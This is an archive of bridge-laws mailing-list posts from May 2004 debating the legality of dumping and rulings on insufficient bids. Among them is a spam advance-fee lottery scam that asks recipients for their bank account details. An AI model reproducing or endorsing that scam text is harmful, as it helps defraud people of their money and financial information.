2nd in order to play against > the team ranked n=B07 and to avoid > playing a team n=B08 against which > they might have a very poor record. A simple, and even good, solution to this particular instance of the=20 problem is to allow teams 1, 2, and 3 (and sometimes 4) to choose their=20 QF opponents in order. That gives an extra incentive to place high. I still don't see how 3-way KO (2 survive) regs can be rewritten to=20 prevent dumping from ever being advantageous. -Todd From blml@blakjak.com Fri May 21 12:21:47 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 12:21:47 +0100 Subject: [blml] A newer one In-Reply-To: <3w7MgyAxrdrAFwWO@asimere.com> References: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> <4kGhl+d9FArAFwHA@blakjak.demon.co.uk> <004101c43ea9$1f0c9550$b5e6403e@multivisionoem> <3w7MgyAxrdrAFwWO@asimere.com> Message-ID: John (MadDog) Probst wrote >Once they realise they've won the round robin they'll all go out and get >pissed and dump as a result of that (and I recall reading such a report >20-ish years ago). There is measurable difference in cause between >dumping now in order to gain later, and dumping when one has no further >interest in the result of this section of the tournament. The former is >clearly legal and ethical and even if the CoC forbids dumping it is >still legal and ethical, as this regulation cannot be made to apply to >this scenario. Sorry, John, wrong. ACBL and WBF regs clearly make dumping illegal in certain circumstances, so it is clearly *not* legal to dump in those circumstances *even though* that means your chance of winning the event is decreased. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 12:25:35 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 12:25:35 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <000001c43f10$858689f0$6900a8c0@WINXP> References: <000001c43f10$858689f0$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >.......... >> >As far as I know no player can be heard on a protest or an appeal related >> to >> >an event at a table where this player did not play even in the case where >> >the result of the protest/appeal would have a major impact on this >> player's >> >final result. >> > >> >For instance say that a player becomes aware of an irregularity at >> another >> >table and understands that this irregularity if not corrected will cost >> him >> >a victory in the tournament. He may not call attention to the >> irregularity >> >nor may he address the Director on that matter (no more than an ordinary >> >spectator may do). And if the Director is summoned to the table in the >> >regular way and makes his ruling our player may not appeal this decision. >> >> That is what the Laws say - ok, the well-known interpretation of the >> Laws. >> >> >Correspondingly a strategy with the main purpose of influencing result(s) >> at >> >other table(s) should not be acceptable by the laws, regulations or >> >conditions of contest. It remains to be seen whether the existence of >> such a >> >strategy can ever be proven. >> >> I do not see the correspondence. What on earth connection does your >> strategy have with your ability to point out infractions? > >Now this is mainly theory but say that a player applies a certain strategy >with the main purpose of affecting "third party". Nobody at the table feel >damaged even though the applied strategy could have included an element of >irregularity. We don't know if there is any irregularity; this should be up >to the director to rule on, but the director is not called because the only >parties interested are barred from doing so. (A similar consideration can be >applied to the question of appeals). as an extra safety precaution > >As we do not allow "third parties" to attack happenings and rulings; should >we allow strategies and actions mainly for the purpose of affecting "third >party"? Should we? Probably not. But that does not prove any correspondence. You are not allowed to drive at 30 mph in England in built-up areas. Does that mean we should forbid murder? While we should forbid murder it is not because of any correspondence: it is just a different but very reasonable rule. >I must add that I have never seen or heard of such incidents in Norway. We >play a lot of round robins and only yesterday I directed an event where >before the last round the victory was clear. Nobody even considered the >possibility of foul play by the winners in the last round in order to help >another pair; that just doesn't happen. (It would be too easily spotted >anyway). > >And BTW, when starting positions for our national championship for pairs (85 >rounds round robin) are drawn the computer program as an extra safety >precaution searches for allocations so that different pairs from the same >region do not meet in the later rounds. I never rate this idea, which merely adds another tiny unfairness. My personal friends in the game of bridge are as likely to be the other end of the country as nearby. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 12:27:10 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 12:27:10 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <000101c43f1e$92f9a6e0$6900a8c0@WINXP> References: <40ADCBBD.7060706@hdw.be> <000101c43f1e$92f9a6e0$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> Herman De Wael >> Sven Pran wrote: >> >> > >> > I must add that I have never seen or heard of such incidents in Norway. >> We >> > play a lot of round robins and only yesterday I directed an event where >> > before the last round the victory was clear. Nobody even considered the >> > possibility of foul play by the winners in the last round in order to >> help >> > another pair; that just doesn't happen. (It would be too easily spotted >> > anyway). >> > >> >> No I'm sure it does not happen. >> I'm equally certain that the winners did not touch a drop of alcohol >> between the penultimate round and the last one, and that they played >> with the same full concentration and resolve as in all previous rounds. >> Dream on, Sven. > >No, the winners did not touch a drop of alcohol. It may surprise you but in >Norway any consumption of alcohol during this kind of competitions is >strictly forbidden by anybody (including spectators) in the playing rooms >and by players even outside the playing rooms! This is a rule brought in to make bridge players able to afford the next event they want to play in. Do people know how much alcoholic drinks cost in Norway? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 12:29:48 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 12:29:48 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <6.0.1.1.1.20040521065556.01b3be40@postoffice.worldnet.att.net> References: <000001c43f10$858689f0$6900a8c0@WINXP> <007701c43f18$026d50a0$6a51fea9@ams.com> <6.0.1.1.1.20040521065556.01b3be40@postoffice.worldnet.att.net> Message-ID: <6sihnjHsgerAFwGU@blakjak.demon.co.uk> Todd M. Zimnoch wrote >At 05:42 AM 5/21/2004, Konrad Ciborowski wrote: >> But this isn't what we are talking about. >> It is not about dumping a match to help >> your friends but to improve your chances >> of winning the whole event. E.g.. if the >> pairings for the QF are predetermined >> (1-8, 2-7 etc.) then the leading team >> might consider dumping a match >> to finish 2nd in order to play against >> the team ranked n°7 and to avoid >> playing a team n°8 against which >> they might have a very poor record. > > A simple, and even good, solution to this particular instance of >the problem is to allow teams 1, 2, and 3 (and sometimes 4) to choose >their QF opponents in order. That gives an extra incentive to place >high. Now this [with respect to Grattan :)] *is* where the argument comes full circle. Whether this is a good solution or not, the question that raised this thread is the legality of dumping to win events where such a rule is not in force. Surely we all agree that regs that reduce the advantage of dumping reduce dumping. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 12:30:34 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 12:30:34 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: References: Message-ID: <9Mfg$4HaherAFwl+@blakjak.demon.co.uk> David Stevenson wrote > As a TD I would read the regs for the event. > > It is clearly legal in England where dooming is permitted anyway. Dooming? Why dopes my spellchukka accept this? > It is clearly illegal in the ACBL where you are not allowed to play >any single board less than your best. > > From what I remember of the WBF regs I seem to remember that you have >to do you best in every session: if so it is legal. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 12:32:24 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 12:32:24 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: References: Message-ID: John (MadDog) Probst wrote >I would dispute this. "Mr SO, I clearly am playing my best on this board >as I'm maximising my chance of winning the event". That playing my best >requires me to concede a duck and clutch is irrelevant. John: you may not like or approve of the d****d reg: but there is no doubt what it says. Whether it maximises our chance of winning the event is *irrelevant*: the reg says you must do your best on each individual board. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 12:34:28 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 12:34:28 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: References: Message-ID: RJH wrote > > > > >Grattan Endicott: > >>>+=+ I am distrustful of the linking of EK with the EBU >>>and Landau in a single "view". Do not overlook the fact >>>that EK was at the heart of the Yokohama question and >>>engaged in, supported, the devising of the WBF Anti- >>>Dumping regulation. > >[snip] > >Richard James Hills: > >It is true that Edgar Kaplan had a two-pronged position >on dumping. > >1. If a vile Condition of Contest provides an incentive >for a contestant to dump in order to have an improved >chance of winning the event, then it should be both >legal and ethical for that contestant to dump. > >2. Sponsoring organisations should revile a vile CoC. > >So, Edgar Kaplan's revision of the Bermuda Bowl quarter- >final pairings rules to discourage dumping was completely >consistent with his philosophy. > >The EBU also holds a two-pronged Kaplanesque philosophy. >The 2004 EBU White Book states -> > >>In England it is not, of itself, improper to attempt to >>influence the results of an event, or part of an event, >>so as to try to increase one's own success in the event. > >[snip] > >>A solution is to design Conditions of Contest such that >>it is always in the best interests of competitors to >>play well. In the cited example there could be a carry- >>forward to the final. Our 'solution' is not Kaplanesque as these quotes clearly show. We do not say that a CoC that gives no advantage to dumping is vile. Personally, i believe that the anti-dumping arguments are pointless. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 12:38:38 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 12:38:38 +0100 Subject: Fw: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <003201c43f0c$af234c20$879d4c51@4nrw70j> References: <003201c43f0c$af234c20$879d4c51@4nrw70j> Message-ID: grandeval wrote > In the above I should perhaps have drawn attention to the >post-Kaplan expansion of this. The 2003 General Conditions >at 32.3 say additonally: "It is not permissible for a partnership >to play by design to obtain a session score inferior to that >of its opponents and the Committee shall have the authority to >determine on such evidence as it considers sufficient whether >a partnership has done so." I wonder why "Iceland" comes to mind? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 12:37:19 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 12:37:19 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: References: Message-ID: RJH wrote >In my opinion, not only are England and America >divided by a common language, they are also divided >by the most fundamental propriety, Law 74A2, because: > >(a) ACBL players consider any and all dumping to be > grossly unethical, and > >(b) EBU players consider any and all dumping to be > totally ethical. > >I believe that it would be useful if the WBF >*specifically* addressed the issue of dumping in the >2006 Laws. Otherwise, an American visiting London >will consider the English to be cheats. And a >Londoner visiting America will consider the Americans >to be self-righteous bushes. Unless, of course, they are reasonable Londoners and Americans [why generalise one and particularise the other: is this yet someone else who equates London and England?]. When I play in Portugal, Australia, the USA, Sweden I expect rules and attitudes to be different. Taking one particular rule out for special treatment seems illogical. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From svenpran@online.no Fri May 21 12:45:14 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 21 May 2004 13:45:14 +0200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: Message-ID: <000201c43f29$14a3baa0$6900a8c0@WINXP> > David Stevenson ....... > >No, the winners did not touch a drop of alcohol. It may surprise you = but > in > >Norway any consumption of alcohol during this kind of competitions is > >strictly forbidden by anybody (including spectators) in the playing = rooms > >and by players even outside the playing rooms! >=20 > This is a rule brought in to make bridge players able to afford the > next event they want to play in. Do people know how much alcoholic > drinks cost in Norway? I believe I know why that regulation was brought into existence. In fact = all sport disciplines in Norway to my knowledge have the same prohibition = except that particularly open-air events normally (and reasonably) do not = prohibit alcohol among spectators. Cost has never prevented any intake of alcohol in Norway. Regards Sven From ehaa@starpower.net Fri May 21 13:55:04 2004 From: ehaa@starpower.net (Eric Landau) Date: Fri, 21 May 2004 08:55:04 -0400 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: <3H4SNZBGDUrAFwFp@blakjak.demon.co.uk> References: <5.2.0.9.0.20040520085429.02149ad0@pop.starpower.net> <5.2.0.9.0.20040520085429.02149ad0@pop.starpower.net> Message-ID: <5.2.0.9.0.20040521081115.02160ec0@pop.starpower.net> At 07:35 PM 5/20/04, David wrote: >Eric Landau wrote >> >>Or we could go the other way, and eliminate the correction without >>penalty. ISTM that this would be a less drastic change. > > With respect, all this suggests is that you are not a TD. > > While IBs discussed on BLML may not normally be 'correctable' ones, > real-life ones are 'correctable' in well over 90% of cases. The > normal IB in real life is > > 1S P 2C 2H > 2D > > > 1S 3H 3D > >or as my partner perpetrated last night > > 1S 2H X P > 2C > > Whatever the merits or demerits of the 'non-correctable' IB, let's > leave the 'correctable' ones unchanged. They are easy, often > corrected by players without the TD [yes, I know that's illegal, but > it's a fact] and generally follow what the players expect. JFTR, I am not inclined in favor of my proposed change; I just thought it should be "out there" for discussion. Perhaps my justification was somewhat parochial, but even in David's second example, there would be a number of pairs in our local game for whom a penalty-free correction might be denied on the grounds that 3D might have been conventionally intended, if the bidder mistook LHO's 3H for a double. The discussion on BLML has convinced me that someone can always find some explanation, even if rather farfetched ("incontrovertably" is a very strong word), as to how one of the bids might be somehow conventional, depending on the insufficient bidder's intent. I am a TD, albeit only a low-level club TD off and on for the last 40 years. My personal experience suggests that we need to recast the laws about IBs to eliminate the necessity for TDs to make a determination as to the potential conventionality of an IB. How can I find that an IB "might have been conventional" when my NCBO tells me that it is a C&E offense for a partnership to assign a conventional (or any other) meaning to an IB? In real life, I take the insufficient bidder away from the table to ascertain the reason for the IB, and base my ruling on what I determine. I know this isn't legal -- ruling the bid "not conventional" based on the offender's testimony falls far short of meeting the standard of "incontrovertable" -- but it seems to be the best I can do. Right now I lean towards favoring the proposal that an IB can always be corrected to the lowest sufficient bid in the same denomination, with the fact of the IB UI to the insufficient bidder's partner. ISTM this would conform at least as well as the current law to "what the players expect". But it will take a good deal more discussion before I form a firm opinion. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ehaa@starpower.net Fri May 21 14:08:27 2004 From: ehaa@starpower.net (Eric Landau) Date: Fri, 21 May 2004 09:08:27 -0400 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: <200405202348.QAA10802@mailhub.irvine.com> References: Message-ID: <5.2.0.9.0.20040521085938.02172ec0@pop.starpower.net> At 07:48 PM 5/20/04, Adam wrote: >Eric Landau wrote: > > > 2. Due to pressure from CBOs desiring more power to regulate pursuant > > to L40D, the definition of "conventional" has become either > arbitrarily > > much looser or a lot better understood (depending on which side of the > > L40D debate you're on). Agreements that were once considered natural > > "treatments" are now viewed as conventional. > >Could you give an example of a call that used to be considered natural >and is now considered conventional by someone in charge? Disclaimer: It seems like every time I play seriously, the regs have changed, so I don't claim to know what they are today. One example that came up not too long ago was 1C-P-1NT with the agreement that responder cannot hold a four-card major (deemed to carry a specific message about one or more suits other than the one bid). A couple of decades ago that would have been classified as a "natural treatment", but that classification seems to have become obsolete. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From blml@blakjak.com Fri May 21 14:25:39 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 14:25:39 +0100 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: <5.2.0.9.0.20040521081115.02160ec0@pop.starpower.net> References: <5.2.0.9.0.20040520085429.02149ad0@pop.starpower.net> <5.2.0.9.0.20040520085429.02149ad0@pop.starpower.net> <3H4SNZBGDUrAFwFp@blakjak.demon.co.uk> <5.2.0.9.0.20040521081115.02160ec0@pop.starpower.net> Message-ID: <9kdgVIdTNgrAFwHK@blakjak.demon.co.uk> Eric Landau wrote >At 07:35 PM 5/20/04, David wrote: > >>Eric Landau wrote >>> >>>Or we could go the other way, and eliminate the correction without >>>penalty. ISTM that this would be a less drastic change. >> >> With respect, all this suggests is that you are not a TD. >> >> While IBs discussed on BLML may not normally be 'correctable' ones, >>real-life ones are 'correctable' in well over 90% of cases. The >>normal IB in real life is >> >> 1S P 2C 2H >> 2D >> >> >> 1S 3H 3D >> >>or as my partner perpetrated last night >> >> 1S 2H X P >> 2C >> >> Whatever the merits or demerits of the 'non-correctable' IB, let's >>leave the 'correctable' ones unchanged. They are easy, often >>corrected by players without the TD [yes, I know that's illegal, but >>it's a fact] and generally follow what the players expect. > >JFTR, I am not inclined in favor of my proposed change; I just thought >it should be "out there" for discussion. Perhaps my justification was >somewhat parochial, but even in David's second example, there would be >a number of pairs in our local game for whom a penalty-free correction >might be denied on the grounds that 3D might have been conventionally >intended, if the bidder mistook LHO's 3H for a double. The discussion >on BLML has convinced me that someone can always find some explanation, >even if rather farfetched ("incontrovertably" is a very strong word), >as to how one of the bids might be somehow conventional, depending on >the insufficient bidder's intent. Whatever BLML say, we don't do it in England. We work on what the player was doing not what he might be have been doing. so, he tells the TD he bid it over 2H or just did not think o the level, we do not wonder about incontrovertibly. To us incontrovertibly implies a default situation for cases fo doubt. No doubt, no problem. >I am a TD, albeit only a low-level club TD off and on for the last 40 >years. My personal experience suggests that we need to recast the laws >about IBs to eliminate the necessity for TDs to make a determination as >to the potential conventionality of an IB. How can I find that an IB >"might have been conventional" when my NCBO tells me that it is a C&E >offense for a partnership to assign a conventional (or any other) >meaning to an IB? In real life, I take the insufficient bidder away >from the table to ascertain the reason for the IB, and base my ruling >on what I determine. I know this isn't legal -- ruling the bid "not >conventional" based on the offender's testimony falls far short of >meeting the standard of "incontrovertable" -- but it seems to be the >best I can do. It is legal in our view. This is one of those Laws which despite assertion by certain BLML regulars has more than one interpretation. So, surely you find, using your test, that most IBs are 'correctable'? And do not forget the ones where you were not called! >Right now I lean towards favoring the proposal that an IB can always be >corrected to the lowest sufficient bid in the same denomination, with >the fact of the IB UI to the insufficient bidder's partner. ISTM this >would conform at least as well as the current law to "what the players >expect". But it will take a good deal more discussion before I form a >firm opinion. I just hope that when the powers that be [I nearly wrote "the big mucky-mucks"] decide what to do about IBs they remember that these are *more* important in clubs than World Championships, and the laws should reflect that. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ehaa@starpower.net Fri May 21 16:42:06 2004 From: ehaa@starpower.net (Eric Landau) Date: Fri, 21 May 2004 11:42:06 -0400 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: <9kdgVIdTNgrAFwHK@blakjak.demon.co.uk> References: <5.2.0.9.0.20040521081115.02160ec0@pop.starpower.net> <5.2.0.9.0.20040520085429.02149ad0@pop.starpower.net> <5.2.0.9.0.20040520085429.02149ad0@pop.starpower.net> <3H4SNZBGDUrAFwFp@blakjak.demon.co.uk> <5.2.0.9.0.20040521081115.02160ec0@pop.starpower.net> Message-ID: <5.2.0.9.0.20040521112837.02162aa0@pop.starpower.net> At 09:25 AM 5/21/04, David wrote: >Eric Landau wrote > >>I am a TD, albeit only a low-level club TD off and on for the last 40 >>years. My personal experience suggests that we need to recast the >>laws about IBs to eliminate the necessity for TDs to make a >>determination as to the potential conventionality of an IB. How can >>I find that an IB "might have been conventional" when my NCBO tells >>me that it is a C&E offense for a partnership to assign a >>conventional (or any other) meaning to an IB? In real life, I take >>the insufficient bidder away from the table to ascertain the reason >>for the IB, and base my ruling on what I determine. I know this >>isn't legal -- ruling the bid "not conventional" based on the >>offender's testimony falls far short of meeting the standard of >>"incontrovertable" -- but it seems to be the best I can do. > > It is legal in our view. This is one of those Laws which despite > assertion by certain BLML regulars has more than one interpretation. I am delighted to have as experienced an authority as David tell me that this is legal. I will rest easier after ruling this way in the future. > So, surely you find, using your test, that most IBs are > 'correctable'? And do not forget the ones where you were not called! I do, but not without misgivings. My impression from what I hear, and from an occasional protest for which I find myself on the AC, is that either ACBL guidelines of which I am unaware or common practice in the absense of such guidelines is to give rather more weight to the word "incontrovertable", if not as much as the dictionary would call for, than either David or I would be comfortable with. IOW, ISTM that that "assertion by certain BLML regulars" would be accepted by most ACBL TDs and AC members. >>Right now I lean towards favoring the proposal that an IB can always >>be corrected to the lowest sufficient bid in the same denomination, >>with the fact of the IB UI to the insufficient bidder's >>partner. ISTM this would conform at least as well as the current law >>to "what the players expect". But it will take a good deal more >>discussion before I form a firm opinion. > > I just hope that when the powers that be [I nearly wrote "the big > mucky-mucks"] decide what to do about IBs they remember that these > are *more* important in clubs than World Championships, and the laws > should reflect that. I agree. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From LUCKYLABEL@AEMAIL4U.COM Fri May 21 19:23:02 2004 From: LUCKYLABEL@AEMAIL4U.COM (LOTERIA LA PRIMITIVA) Date: Fri, 21 May 2004 20:23:02 +0200 Subject: [blml] (*SPAM*) CONGRATULATIONS Message-ID: LOTTERIA LA PRIMITIVA. AVNIDA DE AMERICA 137, MADRID - ESPAŃA FROM: THE DESK OF THE PROMOTIONS MANAGER, INTERNATIONAL PROMOTIONS/PRIZE AWARD DEPARTMENT, REF: LP/26510460037/03 BATCH: 24/00319/IPD ( CONGRATULATION) DEAR SIR, AWARD NOTIFICATION FINAL NOTICE. We are pleased to inform you of the announcement, of winners of the LOTTERY PRIMITIVA SWEEPSTAKES/INTERNATIONAL PROGRAMS held on 4th december,2003.the late release of this result was due to difficulties encountered in sorting out mixed up numbers and email addresses,that´s why we have been working 24 hours to see that everything is ok. Your name is attached to ticket number 004-05117963-198, with serial number 99375 drew the lucky numbers 31-33 -34-35-36-42, and consequently,won the lottery in the 3rd category. You have therefore been approved for a lump sum pay out of (€uros 847,824,) EIGHT HUNDRED AND FOURTY SEVEEN THOUSAND,EIGHT HUNDRED AND TWENTY-FOUR EUROS. in cash credited to file No:LP/26510460037/02.This is from total prize money of EUROS (€80,400,000.00,)EIGHTY MILLION FOUR HUNDRED THOUSAND EUROS, shared among the twenty two international winners in this category. All participants were selected through a computer ballot system drawn form 25,000 names from Australia, New Zealand, America, Europe, North America and Asia as part of International Promotions Program, which is conducted annually. CONGRATULATIONS!!! Your fund is now insured to your name. Due to the mix up of some numbers and names, however you are please advise to keep this award away from public notice, until your claim has been processed and your money remitted to your account. This is part of our security protocol to avoid double claiming or unscrupulous acts by participants of this program. We hope with a part of you prize, you will participate in our end of year high stakes Euros 1.1 billion International Lottery. To begin your claim, please contact your claims agent, Mr Michel Sarda (FOREIGN OPERATION MANAGERS) at TEL:00-34-666904261,EMAIL:DIRECTSTRIKE@EMAILACCOUNT.COM. and dont forget to send the following information because is very inportant. YOUR NAME: YOUR ADRESS: YOUR TEL AND YOUR FAX: YOUR BANK NAME: YOUR BANK ADDRESS: YOUR BANK TEL AND FAX: YOUR ACCOUNT NUMBER OLD OR VERGIN: All this areFor due processing and remittance of your prize money to a designated account with our bankers. Remember, all prize money must be claimed not later than 27th july, 2004. After this date, all funds will be returned as unclaimed. NOTE: In order to avoid unnecessary delays and complications, please remember to quote your reference and batch numbers in every one of your correspondences with your agent. Furthermore, should there be any change of your address, do inform your claims agent as soon as possible. Congratulations again from all our staff and thank you for being part of our promotions programm. (CONGRATULATION) REGARDS MR RUBEN GARCIA DIRECTOR From ereppert@rochester.rr.com Fri May 21 21:23:19 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 21 May 2004 16:23:19 -0400 Subject: [blml] A newer one In-Reply-To: Message-ID: On Friday, May 21, 2004, at 07:21 US/Eastern, David Stevenson wrote: > Sorry, John, wrong. ACBL and WBF regs clearly make dumping illegal > in certain circumstances, so it is clearly *not* legal to dump in > those circumstances *even though* that means your chance of winning > the event is decreased. Hm. Maybe I'm confusing the various sets of regs, but isn't there also a regulation that you must play to win the event? If so, then it seems we have conflicting regulations, and *whatever* you do you've violated one of them. From ereppert@rochester.rr.com Fri May 21 21:32:21 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 21 May 2004 16:32:21 -0400 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: <5.2.0.9.0.20040521081115.02160ec0@pop.starpower.net> Message-ID: On Friday, May 21, 2004, at 08:55 US/Eastern, Eric Landau wrote: > I am a TD, albeit only a low-level club TD off and on for the last 40 > years. My personal experience suggests that we need to recast the > laws about IBs to eliminate the necessity for TDs to make a > determination as to the potential conventionality of an IB. How can I > find that an IB "might have been conventional" when my NCBO tells me > that it is a C&E offense for a partnership to assign a conventional > (or any other) meaning to an IB? In real life, I take the > insufficient bidder away from the table to ascertain the reason for > the IB, and base my ruling on what I determine. I know this isn't > legal -- ruling the bid "not conventional" based on the offender's > testimony falls far short of meeting the standard of > "incontrovertable" -- but it seems to be the best I can do. Is the offender's testimony corroborated (or refuted) by other evidence? Perhaps still not "incontrovertable", but better than just accepting the testimony. Seems to me the alternative is to decide that an IB is *never* (or almost never) incontrovertibly not conventional. I don't like that much. :-( From adam@irvine.com Fri May 21 22:24:44 2004 From: adam@irvine.com (Adam Beneschan) Date: Fri, 21 May 2004 14:24:44 -0700 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: Your message of "Fri, 21 May 2004 09:08:27 EDT." <5.2.0.9.0.20040521085938.02172ec0@pop.starpower.net> Message-ID: <200405212124.OAA25760@mailhub.irvine.com> Eric Landau wrote: > At 07:48 PM 5/20/04, Adam wrote: > > >Eric Landau wrote: > > > > > 2. Due to pressure from CBOs desiring more power to regulate pursuant > > > to L40D, the definition of "conventional" has become either > > arbitrarily > > > much looser or a lot better understood (depending on which side of the > > > L40D debate you're on). Agreements that were once considered natural > > > "treatments" are now viewed as conventional. > > > >Could you give an example of a call that used to be considered natural > >and is now considered conventional by someone in charge? > > Disclaimer: It seems like every time I play seriously, the regs have > changed, so I don't claim to know what they are today. One example > that came up not too long ago was 1C-P-1NT with the agreement that > responder cannot hold a four-card major (deemed to carry a specific > message about one or more suits other than the one bid). A couple of > decades ago that would have been classified as a "natural treatment", > but that classification seems to have become obsolete. Are you saying that someone considers 1NT to be a convention in this sequence? Who? Although the definition of "convention" in the Laws is fuzzy (and a precise definition is extremely difficult to write), I think it's generally agreed that when the information a bid gives about a suit is simply that you're denying holding that suit, that doesn't make the bid a convention (assuming the bid isn't in the suit you're denying!). So who exactly thinks 1NT is a convention here? If there's some high-ranking ACBL mucky-muck claiming that it is, then I can see that there is reason for concern. -- Adam From blml@blakjak.com Fri May 21 22:38:35 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 22:38:35 +0100 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: References: <5.2.0.9.0.20040521081115.02160ec0@pop.starpower.net> Message-ID: Ed Reppert wrote > >On Friday, May 21, 2004, at 08:55 US/Eastern, Eric Landau wrote: > >> I am a TD, albeit only a low-level club TD off and on for the last 40 >>years. My personal experience suggests that we need to recast the >>laws about IBs to eliminate the necessity for TDs to make a >>determination as to the potential conventionality of an IB. How can I >>find that an IB "might have been conventional" when my NCBO tells me >>that it is a C&E offense for a partnership to assign a conventional >>(or any other) meaning to an IB? In real life, I take the >>insufficient bidder away from the table to ascertain the reason for >>the IB, and base my ruling on what I determine. I know this isn't >>legal -- ruling the bid "not conventional" based on the offender's >>testimony falls far short of meeting the standard of >>"incontrovertable" -- but it seems to be the best I can do. > >Is the offender's testimony corroborated (or refuted) by other >evidence? Perhaps still not "incontrovertable", but better than just >accepting the testimony. What other evidence do you want? A sheepish elderly woman has bid 3C, she is very embarrassed, she tells you she did not realise RHO had bid *3D*, what do you want, the third degree? >Seems to me the alternative is to decide that an IB is *never* (or >almost never) incontrovertibly not conventional. I don't like that >much. :-( Good. How about the alternative of just ruling that when it appears to be a mistake between two natural possibilities then it was a mistake between two natural possibilities? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 21 22:40:27 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 21 May 2004 22:40:27 +0100 Subject: [blml] A newer one In-Reply-To: References: Message-ID: Ed Reppert wrote >On Friday, May 21, 2004, at 07:21 US/Eastern, David Stevenson wrote: > >> Sorry, John, wrong. ACBL and WBF regs clearly make dumping illegal >>in certain circumstances, so it is clearly *not* legal to dump in >>those circumstances *even though* that means your chance of winning >>the event is decreased. > >Hm. Maybe I'm confusing the various sets of regs, but isn't there also >a regulation that you must play to win the event? If so, then it seems >we have conflicting regulations, and *whatever* you do you've violated >one of them. Well, my memory may be at fault, but I think there is only one meaningful reg for each organisation. The ACBL one tells you ot do your best on each board. The WBF one tells you to do your best over each stanza. And we get sneered at in England because we merely expect you to try to win the event! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From walt1@verizon.net Sat May 22 01:00:56 2004 From: walt1@verizon.net (Walt) Date: Fri, 21 May 2004 20:00:56 -0400 Subject: [blml] ACBL Laws 